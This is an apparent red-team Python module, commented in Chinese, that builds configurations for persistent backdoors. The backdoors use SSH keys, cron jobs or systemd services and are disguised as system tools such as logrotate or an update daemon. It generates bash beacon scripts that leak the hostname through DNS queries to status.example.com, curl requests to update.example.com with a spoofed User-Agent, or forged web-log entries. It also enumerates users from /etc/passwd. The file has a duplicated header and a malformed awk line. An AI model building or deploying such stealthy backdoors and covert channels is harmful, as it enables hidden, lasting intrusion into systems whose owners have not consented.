# -*- coding: utf-8 -*-
from __future__ import print_function

# Python 2/3 兼容性导入
try:
    from modules.utils.python_compatibility import (
        PY2, PY3, ensure_str, ensure_bytes, format_string,
        dict_items, dict_keys, dict_values, print_function
    )
except ImportError:
    # 如果兼容性模块不可用，使用基本兼容性
    import sys
    PY2 = sys.version_info[0] == 2
    PY3 = sys.version_info[0] == 3
    
    def ensure_str(s, encoding='utf-8'):
        if PY3:
            return str(s) if not isinstance(s, bytes) else s.decode(encoding)
        else:
            return str(s) if not isinstance(s, unicode) else s.encode(encoding)
    
    def ensure_bytes(s, encoding='utf-8'):
        if PY3:
            return s.encode(encoding) if isinstance(s, str) else bytes(s)
        else:
            return str(s) if not isinstance(s, unicode) else s.encode(encoding)
    
    def format_string(template, *args, **kwargs):
        try:
            return template.format(*args, **kwargs)
        except (KeyError, ValueError):
            if args and not kwargs:
                return template % args
            return template
    
    def dict_items(d):
        return list(d.items()) if PY3 else d.items()
    
    def dict_keys(d):
        return list(d.keys()) if PY3 else d.keys()
    
    def dict_values(d):
        return list(d.values()) if PY3 else d.values()
    
    if PY2:
        def print_function(*args, **kwargs):
            sep = kwargs.get('sep', ' ')
            end = kwargs.get('end', '\n')
            file_obj = kwargs.get('file', sys.stdout)
            output = sep.join(str(arg) for arg in args) + end
            file_obj.write(output)
            file_obj.flush()
    else:
        print_function = print

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
红队后门模板引擎
支持可视化配置文件和自定义后门参数，包括触发条件、通信方式、伪装特征
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import yaml
import time
import random
import string
import hashlib
import subprocess
from typing import Dict, List, Tuple, Optional, Any, Union
from dataclasses import dataclass, asdict, field
from enum import Enum
from datetime import datetime, timedelta
import logging
import re



try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.redteam.backdoor_verification_engine import BackdoorType, BackdoorConfig
except ImportError as e:
    print("导入模块失败: {}".format(e))


class TriggerType(Enum):
    """触发条件类型"""
    TIME_BASED = "time_based"           # 基于时间
    IP_BASED = "ip_based"               # 基于IP
    USER_BASED = "user_based"           # 基于用户
    PROCESS_BASED = "process_based"     # 基于进程
    FILE_BASED = "file_based"           # 基于文件
    NETWORK_BASED = "network_based"     # 基于网络
    SYSTEM_BASED = "system_based"       # 基于系统状态
    CUSTOM = "custom"                   # 自定义条件


class CommunicationType(Enum):
    """通信方式类型"""
    DNS_TUNNEL = "dns_tunnel"           # DNS隧道
    HTTP_COVERT = "http_covert"         # HTTP隐蔽通道
    LOG_CHANNEL = "log_channel"         # 日志隐蔽信道
    FILE_DROP = "file_drop"             # 文件投递
    ICMP_TUNNEL = "icmp_tunnel"         # ICMP隧道
    TCP_REVERSE = "tcp_reverse"         # TCP反向连接
    UDP_COVERT = "udp_covert"           # UDP隐蔽通道
    SMTP_TUNNEL = "smtp_tunnel"         # SMTP隧道


class DisguiseType(Enum):
    """伪装类型"""
    SYSTEM_SERVICE = "system_service"   # 系统服务
    USER_PROCESS = "user_process"       # 用户进程
    SYSTEM_TOOL = "system_tool"         # 系统工具
    LOG_FILE = "log_file"               # 日志文件
    CONFIG_FILE = "config_file"         # 配置文件
    TEMP_FILE = "temp_file"             # 临时文件
    CUSTOM = "custom"                   # 自定义伪装


@dataclass
class TriggerCondition:
    """触发条件配置"""
    trigger_type: TriggerType
    condition: str                      # 条件表达式
    parameters: Dict[str, Any] = field(default_factory=dict)
    enabled: bool = True
    description: str = ""


@dataclass
class CommunicationConfig:
    """通信配置"""
    comm_type: CommunicationType
    endpoint: str                       # 通信端点
    parameters: Dict[str, Any] = field(default_factory=dict)
    encryption: bool = True
    encoding: str = "base64"
    frequency: int = 3600               # 通信频率(秒)


@dataclass
class DisguiseConfig:
    """伪装配置"""
    disguise_type: DisguiseType
    name: str                           # 伪装名称
    path: str                           # 伪装路径
    parameters: Dict[str, Any] = field(default_factory=dict)
    mimicry_target: str = ""            # 模仿目标


@dataclass
class BackdoorTemplate:
    """后门模板"""
    template_id: str
    name: str
    description: str
    backdoor_type: BackdoorType
    trigger_conditions: List[TriggerCondition] = field(default_factory=list)
    communication: Optional[CommunicationConfig] = None
    disguise: Optional[DisguiseConfig] = None
    persistence_level: int = 5          # 持久化级别 1-10
    stealth_level: int = 5              # 隐蔽级别 1-10
    created_time: float = field(default_factory=time.time)
    author: str = "redteam"
    version: str = "1.0"
    tags: List[str] = field(default_factory=list)


class BackdoorTemplateEngine:
    """后门模板引擎"""
    
    def __init__(self, template_dir: str = None):
        self.template_dir = template_dir or os.path.join(
            os.path.dirname(__file__), "templates"
        )
        self.templates: Dict[str, BackdoorTemplate] = {}
        self.system_info = self._gather_system_info()
        
        # 确保模板目录存在
        os.makedirs(self.template_dir, exist_ok=True)
        
        # 加载预设模板
        self._load_builtin_templates()
        self._load_custom_templates()
    
    def _gather_system_info(self) -> Dict[str, Any]:
        """收集系统信息用于模板适配"""
        info = {
            "os_type": "linux",
            "services": [],
            "processes": [],
            "users": [],
            "network_interfaces": [],
            "log_paths": []
        }
        
        try:
            # 检测常见服务
            services = ["httpd", "nginx", "apache2", "mysql", "postgresql", "ssh", "cron"]
            for service in services:
                result = subprocess.run(
                    ["systemctl", "is-active", service],
                    capture_output=True, text=True, timeout=5
                )
                if result.returncode == 0 and "active" in result.stdout:
                    info["services"].append(service)
            
            # 检测常见进程
            result = subprocess.run(
                ["ps", "aux"], capture_output=True, text=True, timeout=10
            )
            if result.returncode == 0:
                lines = result.stdout.split('\n')[1:11]  # 取前10个进程
                info["processes"] = [line.split()[10] if len(line.split()) > 10 else "" 
                                   for line in lines if line.strip()]
            
            # 检测用户
            result = subprocess.run(
                ["cut", "-d:", "-f1", "/etc/passwd"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0:
                info["users"] = result.stdout.strip().split('\n')[:10]
            
            # 检测日志路径
            log_paths = ["/var/log/messages", "/var/log/syslog", "/var/log/auth.log",
                        "/var/log/httpd/access.log", "/var/log/nginx/access.log"]
            info["log_paths"] = [path for path in log_paths if os.path.exists(path)]
            
        except Exception as e:
            color_yellow("⚠️ 系统信息收集部分失败: {}".format(e))
        
        return info
    
    def _load_builtin_templates(self):
        """加载内置模板"""
        # SSH密钥后门模板
        ssh_template = BackdoorTemplate(
            template_id="ssh_stealth",
            name="SSH隐蔽后门",
            description="基于SSH密钥的隐蔽后门，支持时间触发和IP白名单",
            backdoor_type=BackdoorType.SSH_KEY,
            trigger_conditions=[
                TriggerCondition(
                    trigger_type=TriggerType.TIME_BASED,
                    condition="02:00-03:00",
                    parameters={"timezone": "local"},
                    description="仅在凌晨2-3点激活"
                ),
                TriggerCondition(
                    trigger_type=TriggerType.IP_BASED,
                    condition="whitelist",
                    parameters={"allowed_ips": ["192.168.1.100", "10.0.0.50"]},
                    description="仅允许特定IP访问"
                )
            ],
            communication=CommunicationConfig(
                comm_type=CommunicationType.DNS_TUNNEL,
                endpoint="status.example.com",
                parameters={"query_type": "TXT", "subdomain_prefix": "check"},
                frequency=7200
            ),
            disguise=DisguiseConfig(
                disguise_type=DisguiseType.SYSTEM_SERVICE,
                name="ssh-keygen-helper",
                path="/usr/local/bin/ssh-keygen-helper",
                mimicry_target="openssh"
            ),
            stealth_level=8,
            tags=["ssh", "stealth", "time-based"]
        )
        
        # Crontab后门模板
        cron_template = BackdoorTemplate(
            template_id="cron_disguised",
            name="Cron伪装后门",
            description="伪装成系统维护任务的Cron后门",
            backdoor_type=BackdoorType.CRONTAB,
            trigger_conditions=[
                TriggerCondition(
                    trigger_type=TriggerType.PROCESS_BASED,
                    condition="process_exists",
                    parameters={"process_name": "httpd", "check_interval": 300},
                    description="检测到Web服务运行时激活"
                )
            ],
            communication=CommunicationConfig(
                comm_type=CommunicationType.LOG_CHANNEL,
                endpoint="/var/log/httpd/access.log",
                parameters={"log_format": "apache_combined", "marker": "GET /health"},
                frequency=1800
            ),
            disguise=DisguiseConfig(
                disguise_type=DisguiseType.SYSTEM_TOOL,
                name="system-maintenance",
                path="/usr/local/bin/system-maintenance",
                mimicry_target="logrotate"
            ),
            stealth_level=7,
            tags=["cron", "web", "log-channel"]
        )
        
        # 服务后门模板
        service_template = BackdoorTemplate(
            template_id="service_adaptive",
            name="自适应服务后门",
            description="根据系统环境自适应的服务后门",
            backdoor_type=BackdoorType.SERVICE,
            trigger_conditions=[
                TriggerCondition(
                    trigger_type=TriggerType.SYSTEM_BASED,
                    condition="load_average < 2.0",
                    parameters={"check_interval": 600},
                    description="系统负载较低时激活"
                )
            ],
            communication=CommunicationConfig(
                comm_type=CommunicationType.HTTP_COVERT,
                endpoint="http://update.example.com/check",
                parameters={"user_agent": "System-Update-Client/1.0", "method": "POST"},
                frequency=3600
            ),
            disguise=DisguiseConfig(
                disguise_type=DisguiseType.SYSTEM_SERVICE,
                name="system-update-daemon",
                path="/etc/systemd/system/system-update-daemon.service",
                mimicry_target="systemd"
            ),
            stealth_level=9,
            tags=["service", "adaptive", "http"]
        )
        
        self.templates.update({
            ssh_template.template_id: ssh_template,
            cron_template.template_id: cron_template,
            service_template.template_id: service_template
        })
    
    def _load_custom_templates(self):
        """加载自定义模板"""
        try:
            for filename in os.listdir(self.template_dir):
                if filename.endswith(('.json', '.yaml', '.yml')):
                    filepath = os.path.join(self.template_dir, filename)
                    template = self.load_template_from_file(filepath)
                    if template:
                        self.templates[template.template_id] = template
        except Exception as e:
            color_yellow("⚠️ 加载自定义模板失败: {}".format(e))
    
    def create_template(self, template_data: Dict[str, Any]) -> BackdoorTemplate:
        """创建新模板"""
        # 生成模板ID
        template_id = template_data.get('template_id') or self._generate_template_id()
        
        # 解析触发条件
        trigger_conditions = []
        for trigger_data in template_data.get('trigger_conditions', []):
            trigger = TriggerCondition(
                trigger_type=TriggerType(trigger_data['trigger_type']),
                condition=trigger_data['condition'],
                parameters=trigger_data.get('parameters', {}),
                enabled=trigger_data.get('enabled', True),
                description=trigger_data.get('description', '')
            )
            trigger_conditions.append(trigger)
        
        # 解析通信配置
        communication = None
        if 'communication' in template_data:
            comm_data = template_data['communication']
            communication = CommunicationConfig(
                comm_type=CommunicationType(comm_data['comm_type']),
                endpoint=comm_data['endpoint'],
                parameters=comm_data.get('parameters', {}),
                encryption=comm_data.get('encryption', True),
                encoding=comm_data.get('encoding', 'base64'),
                frequency=comm_data.get('frequency', 3600)
            )
        
        # 解析伪装配置
        disguise = None
        if 'disguise' in template_data:
            disguise_data = template_data['disguise']
            disguise = DisguiseConfig(
                disguise_type=DisguiseType(disguise_data['disguise_type']),
                name=disguise_data['name'],
                path=disguise_data['path'],
                parameters=disguise_data.get('parameters', {}),
                mimicry_target=disguise_data.get('mimicry_target', '')
            )
        
        # 创建模板
        template = BackdoorTemplate(
            template_id=template_id,
            name=template_data['name'],
            description=template_data.get('description', ''),
            backdoor_type=BackdoorType(template_data['backdoor_type']),
            trigger_conditions=trigger_conditions,
            communication=communication,
            disguise=disguise,
            persistence_level=template_data.get('persistence_level', 5),
            stealth_level=template_data.get('stealth_level', 5),
            author=template_data.get('author', 'redteam'),
            version=template_data.get('version', '1.0'),
            tags=template_data.get('tags', [])
        )
        
        return template
    
    def save_template(self, template: BackdoorTemplate, format: str = 'yaml') -> str:
        """保存模板到文件"""
        filename = "{}.{}".format(template.template_id, format)
        filepath = os.path.join(self.template_dir, filename)
        
        template_dict = asdict(template)
        
        # 转换枚举为字符串
        template_dict['backdoor_type'] = template.backdoor_type.value
        
        for trigger in template_dict['trigger_conditions']:
            trigger['trigger_type'] = trigger['trigger_type'].value if hasattr(trigger['trigger_type'], 'value') else trigger['trigger_type']
        
        if template_dict['communication']:
            template_dict['communication']['comm_type'] = template.communication.comm_type.value
        
        if template_dict['disguise']:
            template_dict['disguise']['disguise_type'] = template.disguise.disguise_type.value
        
        try:
            if format.lower() == 'json':
                with open(filepath, 'w', encoding='utf-8') as f:
                    json.dump(template_dict, f, indent=2, ensure_ascii=False)
            else:  # yaml
                with open(filepath, 'w', encoding='utf-8') as f:
                    yaml.dump(template_dict, f, default_flow_style=False, allow_unicode=True)
            
            color_green("✅ 模板已保存: {}".format(filepath))
            return filepath
            
        except Exception as e:
            color_red("❌ 保存模板失败: {}".format(e))
            return ""
    
    def load_template_from_file(self, filepath: str) -> Optional[BackdoorTemplate]:
        """从文件加载模板"""
        try:
            with open(filepath, 'r', encoding='utf-8') as f:
                if filepath.endswith('.json'):
                    data = json.load(f)
                else:  # yaml
                    data = yaml.safe_load(f)
            
            return self.create_template(data)
            
        except Exception as e:
            color_red("❌ 加载模板失败 {}: {}".format(filepath, e))
            return None
    
    def generate_backdoor_config(self, template_id: str, custom_params: Dict[str, Any] = None) -> Optional[BackdoorConfig]:
        """根据模板生成后门配置"""
        if template_id not in self.templates:
            color_red("❌ 模板不存在: {}".format(template_id))
            return None
        
        template = self.templates[template_id]
        custom_params = custom_params or {}
        
        # 生成基础配置
        config = BackdoorConfig(
            backdoor_type=template.backdoor_type,
            location="/tmp/backdoor",
            verification_method="process_check",
            repair_commands=["systemctl restart backdoor"],
            backup_location="/tmp/backdoor_backup",
            dependencies=[]
        )
        
        # 创建配置数据字典
        config_data = {}
        
        # 应用伪装配置
        if template.disguise:
            disguise_config = self._apply_disguise_config(template.disguise, custom_params)
            config_data.update(disguise_config)
        
        # 应用触发条件
        trigger_config = self._apply_trigger_conditions(template.trigger_conditions, custom_params)
        config_data.update(trigger_config)
        
        # 应用通信配置
        if template.communication:
            comm_config = self._apply_communication_config(template.communication, custom_params)
            config_data.update(comm_config)
        
        # 应用自定义参数
        config_data.update(custom_params)
        
        # 将配置数据存储到config对象中（如果需要的话，可以添加一个属性）
        # 这里我们暂时不需要存储，因为BackdoorConfig没有config_data字段
        
        return config
    
    def _apply_disguise_config(self, disguise: DisguiseConfig, custom_params: Dict[str, Any]) -> Dict[str, Any]:
        """应用伪装配置"""
        config = {}
        
        if disguise.disguise_type == DisguiseType.SYSTEM_SERVICE:
            # 模仿系统服务
            config['service_name'] = custom_params.get('service_name', disguise.name)
            config['service_description'] = "System {} service".format(disguise.mimicry_target)
            config['executable_path'] = custom_params.get('executable_path', disguise.path)
            
        elif disguise.disguise_type == DisguiseType.SYSTEM_TOOL:
            # 模仿系统工具
            config['tool_name'] = custom_params.get('tool_name', disguise.name)
            config['tool_path'] = custom_params.get('tool_path', disguise.path)
            config['mimicry_target'] = disguise.mimicry_target
            
        elif disguise.disguise_type == DisguiseType.LOG_FILE:
            # 模仿日志文件
            config['log_path'] = custom_params.get('log_path', disguise.path)
            config['log_format'] = disguise.parameters.get('log_format', 'syslog')
            
        # 自适应系统环境
        if disguise.mimicry_target and not custom_params.get('disable_adaptation'):
            adapted_config = self._adapt_to_system(disguise.mimicry_target)
            config.update(adapted_config)
        
        return config
    
    def _apply_trigger_conditions(self, triggers: List[TriggerCondition], custom_params: Dict[str, Any]) -> Dict[str, Any]:
        """应用触发条件"""
        config = {'triggers': []}
        
        for trigger in triggers:
            if not trigger.enabled:
                continue
                
            trigger_config = {
                'type': trigger.trigger_type.value,
                'condition': trigger.condition,
                'parameters': trigger.parameters.copy()
            }
            
            # 处理不同类型的触发条件
            if trigger.trigger_type == TriggerType.TIME_BASED:
                trigger_config['check_script'] = self._generate_time_check_script(trigger.condition)
                
            elif trigger.trigger_type == TriggerType.IP_BASED:
                trigger_config['check_script'] = self._generate_ip_check_script(trigger.parameters)
                
            elif trigger.trigger_type == TriggerType.PROCESS_BASED:
                trigger_config['check_script'] = self._generate_process_check_script(trigger.parameters)
                
            elif trigger.trigger_type == TriggerType.SYSTEM_BASED:
                trigger_config['check_script'] = self._generate_system_check_script(trigger.condition)
            
            config['triggers'].append(trigger_config)
        
        return config
    
    def _apply_communication_config(self, comm: CommunicationConfig, custom_params: Dict[str, Any]) -> Dict[str, Any]:
        """应用通信配置"""
        config = {
            'communication': {
                'type': comm.comm_type.value,
                'endpoint': custom_params.get('comm_endpoint', comm.endpoint),
                'frequency': custom_params.get('comm_frequency', comm.frequency),
                'encryption': comm.encryption,
                'encoding': comm.encoding,
                'parameters': comm.parameters.copy()
            }
        }
        
        # 生成通信脚本
        if comm.comm_type == CommunicationType.DNS_TUNNEL:
            config['communication']['script'] = self._generate_dns_tunnel_script(comm)
            
        elif comm.comm_type == CommunicationType.LOG_CHANNEL:
            config['communication']['script'] = self._generate_log_channel_script(comm)
            
        elif comm.comm_type == CommunicationType.HTTP_COVERT:
            config['communication']['script'] = self._generate_http_covert_script(comm)
        
        return config
    
    def _adapt_to_system(self, mimicry_target: str) -> Dict[str, Any]:
        """根据系统环境自适应配置"""
        config = {}
        
        # 根据目标系统调整配置
        if mimicry_target in self.system_info.get('services', []):
            # 目标服务存在，可以更好地伪装
            config['mimicry_available'] = True
            config['target_service_active'] = True
            
        # 根据系统中的进程调整
        if any(mimicry_target in proc for proc in self.system_info.get('processes', [])):
            config['target_process_running'] = True
            
        # 根据日志路径调整
        available_logs = self.system_info.get('log_paths', [])
        if available_logs:
            config['available_log_paths'] = available_logs
            
        return config
    
    def _generate_time_check_script(self, time_condition: str) -> str:
        """生成时间检查脚本"""
        if '-' in time_condition:
            start_time, end_time = time_condition.split('-')
            return f'''
current_hour=$(date +%H)
if [ "$current_hour" -ge "{start_time.split(':')[0]}" ] && [ "$current_hour" -lt "{end_time.split(':')[0]}" ]; then
    exit 0
else
    exit 1
fi
'''
        return "exit 0"
    
    def _generate_ip_check_script(self, parameters: Dict[str, Any]) -> str:
        """生成IP检查脚本"""
        allowed_ips = parameters.get('allowed_ips', [])
        if not allowed_ips:
            return "exit 0"
            
        ip_list = ' '.join(allowed_ips)
        return f'''
client_ip=$(echo $SSH_CLIENT | cut -d' ' -f1)
allowed_ips="{ip_list}"
for ip in $allowed_ips; do
    if [ "$client_ip" = "$ip" ]; then
        exit 0
    fi
done
exit 1
'''
    
    def _generate_process_check_script(self, parameters: Dict[str, Any]) -> str:
        """生成进程检查脚本"""
        process_name = parameters.get('process_name', '')
        return f'''
if pgrep "{process_name}" > /dev/null; then
    exit 0
else
    exit 1
fi
'''
    
    def _generate_system_check_script(self, condition: str) -> str:
        """生成系统状态检查脚本"""
        if 'load_average' in condition:
            threshold = condition.split('<')[1].strip() if '<' in condition else '2.0'
            return f'''
load_avg=$(uptime | awk '{{print($10}}' | sed 's/, //'))
if (( $(echo "$load_avg < {threshold}" | bc -l) )); then
    exit 0
else
    exit 1
fi
'''
        return "exit 0"
    
    def _generate_dns_tunnel_script(self, comm: CommunicationConfig) -> str:
        """生成DNS隧道通信脚本"""
        domain = comm.endpoint
        query_type = comm.parameters.get('query_type', 'TXT')
        prefix = comm.parameters.get('subdomain_prefix', 'check')
        
        return f'''
#!/bin/bash
# DNS隧道通信脚本
status_data=$(hostname | base64 | tr -d '\\n')
query_domain="{prefix}.${{status_data}}.{domain}"
nslookup -type={query_type} "$query_domain" > /dev/null 2>&1
'''
    
    def _generate_log_channel_script(self, comm: CommunicationConfig) -> str:
        """生成日志隐蔽信道脚本"""
        log_path = comm.endpoint
        marker = comm.parameters.get('marker', 'GET /health')
        
        return f'''
#!/bin/bash
# 日志隐蔽信道脚本
status_data=$(hostname | base64 | tr -d '\\n')
timestamp=$(date '+%d/%b/%Y:%H:%M:%S %z')
echo "127.0.0.1 - - [$timestamp] \\"{marker}?data=$status_data\\" 200 -" >> {log_path}
'''
    
    def _generate_http_covert_script(self, comm: CommunicationConfig) -> str:
        """生成HTTP隐蔽通道脚本"""
        endpoint = comm.endpoint
        user_agent = comm.parameters.get('user_agent', 'System-Update-Client/1.0')
        method = comm.parameters.get('method', 'GET')
        
        return f'''
#!/bin/bash
# HTTP隐蔽通道脚本
status_data=$(hostname | base64 | tr -d '\\n')
curl -s -X {method} \\
     -H "User-Agent: {user_agent}" \\
     -H "X-System-Status: $status_data" \\
     "{endpoint}" > /dev/null 2>&1
'''
    
    def _generate_template_id(self) -> str:
        """生成模板ID"""
        timestamp = str(int(time.time()))
        random_str = ''.join(random.choices(string.ascii_lowercase, k=6))
        return "template_{}_{}".format(timestamp, random_str)
    
    def list_templates(self, filter_tags: List[str] = None) -> List[BackdoorTemplate]:
        """列出模板"""
        templates = list(self.templates.values())
        
        if filter_tags:
            templates = [t for t in templates if any(tag in t.tags for tag in filter_tags)]
        
        return templates
    
    def get_template(self, template_id: str) -> Optional[BackdoorTemplate]:
        """获取模板"""
        return self.templates.get(template_id)
    
    def delete_template(self, template_id: str) -> bool:
        """删除模板"""
        if template_id in self.templates:
            del self.templates[template_id]
            
            # 删除文件
            for ext in ['json', 'yaml', 'yml']:
                filepath = os.path.join(self.template_dir, "{}.{}".format(template_id, ext))
                if os.path.exists(filepath):
                    os.remove(filepath)
                    break
            
            return True
        return False
    
    def export_template_config(self, template_id: str, output_path: str = None) -> str:
        """导出模板配置为可视化配置文件"""
        template = self.get_template(template_id)
        if not template:
            return ""
        
        config = {
            "template_info": {
                "id": template.template_id,
                "name": template.name,
                "description": template.description,
                "version": template.version,
                "author": template.author,
                "tags": template.tags
            },
            "backdoor_config": {
                "type": template.backdoor_type.value,
                "persistence_level": template.persistence_level,
                "stealth_level": template.stealth_level
            },
            "trigger_conditions": [],
            "communication": None,
            "disguise": None
        }
        
        # 添加触发条件
        for trigger in template.trigger_conditions:
            config["trigger_conditions"].append({
                "type": trigger.trigger_type.value,
                "condition": trigger.condition,
                "parameters": trigger.parameters,
                "enabled": trigger.enabled,
                "description": trigger.description
            })
        
        # 添加通信配置
        if template.communication:
            config["communication"] = {
                "type": template.communication.comm_type.value,
                "endpoint": template.communication.endpoint,
                "parameters": template.communication.parameters,
                "encryption": template.communication.encryption,
                "encoding": template.communication.encoding,
                "frequency": template.communication.frequency
            }
        
        # 添加伪装配置
        if template.disguise:
            config["disguise"] = {
                "type": template.disguise.disguise_type.value,
                "name": template.disguise.name,
                "path": template.disguise.path,
                "parameters": template.disguise.parameters,
                "mimicry_target": template.disguise.mimicry_target
            }
        
        # 保存配置文件
        if not output_path:
            output_path = "{}_config.yaml".format(template_id)
        
        try:
            with open(output_path, 'w', encoding='utf-8') as f:
                yaml.dump(config, f, default_flow_style=False, allow_unicode=True)
            
            color_green("✅ 配置文件已导出: {}".format(output_path))
            return output_path
            
        except Exception as e:
            color_red("❌ 导出配置失败: {}".format(e))
            return ""
    
    def load_templates(self, templates_file: str) -> Dict[str, BackdoorTemplate]:
        """从文件加载模板"""
        try:
            if not os.path.exists(templates_file):
                color_yellow("⚠️ 模板文件不存在: {}".format(templates_file))
                return {}
            
            with open(templates_file, 'r', encoding='utf-8') as f:
                templates_data = yaml.safe_load(f)
            
            loaded_templates = {}
            for template_id, template_data in templates_data.items():
                try:
                    template = self._parse_template_data(template_id, template_data)
                    loaded_templates[template_id] = template
                    color_green("✅ 已加载模板: {}".format(template.name))
                except Exception as e:
                    color_red("❌ 加载模板失败 {}: {}".format(template_id, e))
            
            # 合并到现有模板中
            self.templates.update(loaded_templates)
            color_green("✅ 成功加载 {} 个模板".format(len(loaded_templates)))
            return loaded_templates
            
        except Exception as e:
             color_red("❌ 加载模板文件失败: {}".format(e))
             return {}
    
    def _parse_template_data(self, template_id: str, template_data: Dict[str, Any]) -> BackdoorTemplate:
        """解析模板数据"""
        # 解析基本信息
        name = template_data.get('name', template_id)
        description = template_data.get('description', '')
        backdoor_type = BackdoorType(template_data.get('backdoor_type', 'service'))
        stealth_level = template_data.get('stealth_level', 3)
        
        # 解析触发条件
        trigger_conditions = []
        for trigger_data in template_data.get('trigger_conditions', []):
            trigger = TriggerCondition(
                trigger_type=TriggerType(trigger_data.get('type', 'time')),
                parameters=trigger_data.get('parameters', {}),
                enabled=trigger_data.get('enabled', True),
                description=trigger_data.get('description', '')
            )
            trigger_conditions.append(trigger)
        
        # 解析通信配置
        communication = None
        if 'communication' in template_data:
            comm_data = template_data['communication']
            communication = CommunicationConfig(
                comm_type=CommunicationType(comm_data.get('type', 'http')),
                endpoint=comm_data.get('endpoint', ''),
                parameters=comm_data.get('parameters', {}),
                encryption=comm_data.get('encryption', False),
                encoding=comm_data.get('encoding', 'base64'),
                frequency=comm_data.get('frequency', 60)
            )
        
        # 解析伪装配置
        disguise = None
        if 'disguise' in template_data:
            disguise_data = template_data['disguise']
            disguise = DisguiseConfig(
                disguise_type=DisguiseType(disguise_data.get('type', 'system_service')),
                name=disguise_data.get('name', ''),
                path=disguise_data.get('path', ''),
                parameters=disguise_data.get('parameters', {}),
                mimicry_target=disguise_data.get('mimicry_target', '')
            )
        
        return BackdoorTemplate(
            name=name,
            description=description,
            backdoor_type=backdoor_type,
            stealth_level=stealth_level,
            trigger_conditions=trigger_conditions,
            communication=communication,
            disguise=disguise
        )


def create_template_wizard():
    """模板创建向导"""
    color_blue("🎯 后门模板创建向导")
    
    template_data = {}
    
    # 基本信息
    template_data['name'] = input("模板名称: ").strip()
    template_data['description'] = input("模板描述: ").strip()
    
    # 后门类型
    print("\n可用的后门类型:")
    for i, bt in enumerate(BackdoorType, 1):
        print("{}. {}".format(i, bt.value))
    
    while True:
        try:
            choice = int(input("选择后门类型 (数字): "))
            backdoor_types = list(BackdoorType)
            if 1 <= choice <= len(backdoor_types):
                template_data['backdoor_type'] = backdoor_types[choice-1].value
                break
        except ValueError:
            pass
        print("无效选择，请重新输入")
    
    # 隐蔽级别
    while True:
        try:
            stealth = int(input("隐蔽级别 (1-10): "))
            if 1 <= stealth <= 10:
                template_data['stealth_level'] = stealth
                break
        except ValueError:
            pass
        print("请输入1-10之间的数字")
    
    # 触发条件
    template_data['trigger_conditions'] = []
    if input("是否添加触发条件? (y/n): ").lower() == 'y':
        print("\n可用的触发类型:")
        for i, tt in enumerate(TriggerType, 1):
            print("{}. {}".format(i, tt.value))
        
        while True:
            try:
                choice = int(input("选择触发类型 (数字): "))
                trigger_types = list(TriggerType)
                if 1 <= choice <= len(trigger_types):
                    trigger_type = trigger_types[choice-1].value
                    condition = input("触发条件: ").strip()
                    description = input("条件描述: ").strip()
                    
                    template_data['trigger_conditions'].append({
                        'trigger_type': trigger_type,
                        'condition': condition,
                        'parameters': {},
                        'description': description
                    })
                    break
            except ValueError:
                pass
            print("无效选择，请重新输入")
    
    # 通信配置
    if input("是否添加通信配置? (y/n): ").lower() == 'y':
        print("\n可用的通信类型:")
        for i, ct in enumerate(CommunicationType, 1):
            print("{}. {}".format(i, ct.value))
        
        while True:
            try:
                choice = int(input("选择通信类型 (数字): "))
                comm_types = list(CommunicationType)
                if 1 <= choice <= len(comm_types):
                    comm_type = comm_types[choice-1].value
                    endpoint = input("通信端点: ").strip()
                    
                    template_data['communication'] = {
                        'comm_type': comm_type,
                        'endpoint': endpoint,
                        'parameters': {},
                        'frequency': 3600
                    }
                    break
            except ValueError:
                pass
            print("无效选择，请重新输入")
    
    # 伪装配置
    if input("是否添加伪装配置? (y/n): ").lower() == 'y':
        print("\n可用的伪装类型:")
        for i, dt in enumerate(DisguiseType, 1):
            print("{}. {}".format(i, dt.value))
        
        while True:
            try:
                choice = int(input("选择伪装类型 (数字): "))
                disguise_types = list(DisguiseType)
                if 1 <= choice <= len(disguise_types):
                    disguise_type = disguise_types[choice-1].value
                    name = input("伪装名称: ").strip()
                    path = input("伪装路径: ").strip()
                    
                    template_data['disguise'] = {
                        'disguise_type': disguise_type,
                        'name': name,
                        'path': path,
                        'parameters': {}
                    }
                    break
            except ValueError:
                pass
            print("无效选择，请重新输入")
    
    return template_data


if __name__ == "__main__":
    # 测试模板引擎
    engine = BackdoorTemplateEngine()
    
    print("🎯 后门模板引擎测试")
    print("已加载 {} 个模板".format(len(engine.templates)))
    
    for template_id, template in engine.templates.items():
        print("\n📋 模板: {} ({})".format(template.name, template_id))
        print("   类型: {}".format(template.backdoor_type.value))
        print("   隐蔽级别: {}".format(template.stealth_level))
        print("   触发条件: {} 个".format(len(template.trigger_conditions)))
        
        # 生成配置
        config = engine.generate_backdoor_config(template_id)
        if config:
            print(f"   ✅ 配置生成成功")